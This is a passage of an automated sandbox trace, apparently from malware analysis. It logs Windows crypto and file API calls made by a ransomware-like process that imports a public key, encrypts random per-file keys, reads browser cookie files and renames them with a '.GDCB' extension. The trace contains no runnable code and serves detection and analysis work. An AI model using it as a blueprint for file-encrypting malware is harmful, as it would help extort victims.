v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.826] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50372d0) returned 1 [0189.826] CryptGetKeyParam (in: hKey=0x50372d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.826] CryptEncrypt (in: hKey=0x50372d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.826] GetLastError () returned 0x0 [0189.827] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.827] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LVARU12Y.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\lvaru12y.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.829] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.831] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.833] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x105, lpOverlapped=0x0) returned 1 [0189.845] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.851] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LVARU12Y.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\lvaru12y.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LVARU12Y.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\lvaru12y.txt.gdcb")) returned 1 [0189.860] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0189.862] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.863] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.863] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.863] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0189.864] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.865] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.866] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.867] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.867] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.867] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.870] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50370d0) returned 1 [0189.870] CryptGetKeyParam (in: hKey=0x50370d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.870] CryptEncrypt (in: hKey=0x50370d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.870] GetLastError () returned 0x0 [0189.870] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.870] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.873] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037210) returned 1 [0189.873] CryptGetKeyParam (in: hKey=0x5037210, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.873] CryptEncrypt (in: hKey=0x5037210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.874] GetLastError () returned 0x0 [0189.874] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.874] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LY1NFEKN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ly1nfekn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.877] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.879] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.880] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x193, lpOverlapped=0x0) returned 1 [0189.890] VirtualAlloc (lpAddress=0x0, dwSize=0x1a0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.896] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LY1NFEKN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ly1nfekn.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LY1NFEKN.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ly1nfekn.txt.gdcb")) returned 1 [0189.901] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0189.902] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.903] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.903] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.903] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0189.905] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.905] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.905] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.905] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0189.906] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.908] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037250) returned 1 [0189.908] CryptGetKeyParam (in: hKey=0x5037250, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.908] CryptEncrypt (in: hKey=0x5037250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.908] GetLastError () returned 0x0 [0189.908] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.908] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0189.910] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50374d0) returned 1 [0189.910] CryptGetKeyParam (in: hKey=0x50374d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.910] CryptEncrypt (in: hKey=0x50374d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.910] GetLastError () returned 0x0 [0189.910] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0189.910] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LY3FDU65.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ly3fdu65.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.912] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.913] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.914] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x137, lpOverlapped=0x0) returned 1 [0189.923] VirtualAlloc (lpAddress=0x0, dwSize=0x140, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.937] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LY3FDU65.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ly3fdu65.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LY3FDU65.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ly3fdu65.txt.gdcb")) returned 1 [0189.942] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0189.944] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.945] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.945] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.945] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0189.945] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0189.946] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.947] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.947] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.948] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0189.948] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.951] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50373d0) returned 1 [0189.951] CryptGetKeyParam (in: hKey=0x50373d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.951] CryptEncrypt (in: hKey=0x50373d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.951] GetLastError () returned 0x0 [0189.951] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.951] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.954] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50377d0) returned 1 [0189.954] CryptGetKeyParam (in: hKey=0x50377d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.954] CryptEncrypt (in: hKey=0x50377d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.955] GetLastError () returned 0x0 [0189.955] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.955] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\M19117WZ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\m19117wz.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.958] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.959] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.961] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x121, lpOverlapped=0x0) returned 1 [0189.974] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0189.979] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\M19117WZ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\m19117wz.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\M19117WZ.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\m19117wz.txt.gdcb")) returned 1 [0189.985] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0189.987] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.987] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.987] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0189.987] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0189.987] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0189.989] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0189.990] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0189.990] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0189.990] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.990] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0189.992] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037810) returned 1 [0189.992] CryptGetKeyParam (in: hKey=0x5037810, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.992] CryptEncrypt (in: hKey=0x5037810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0189.992] GetLastError () returned 0x0 [0189.992] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0189.992] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0189.994] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037110) returned 1 [0189.994] CryptGetKeyParam (in: hKey=0x5037110, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0189.994] CryptEncrypt (in: hKey=0x5037110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0189.995] GetLastError () returned 0x0 [0189.995] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0189.995] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MA5WDFBR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ma5wdfbr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0189.997] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0189.998] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0189.999] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x58, lpOverlapped=0x0) returned 1 [0190.008] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0190.012] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MA5WDFBR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ma5wdfbr.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MA5WDFBR.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ma5wdfbr.txt.gdcb")) returned 1 [0190.020] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0190.021] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.022] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.022] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0190.022] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0190.022] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0190.024] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0190.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0190.024] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0190.024] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.025] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0190.027] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037450) returned 1 [0190.027] CryptGetKeyParam (in: hKey=0x5037450, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.027] CryptEncrypt (in: hKey=0x5037450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0190.027] GetLastError () returned 0x0 [0190.027] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.027] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0190.029] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5037590) returned 1 [0190.029] CryptGetKeyParam (in: hKey=0x5037590, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0190.029] CryptEncrypt (in: hKey=0x5037590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0190.029] GetLastError () returned 0x0 [0190.029] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0190.029] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application 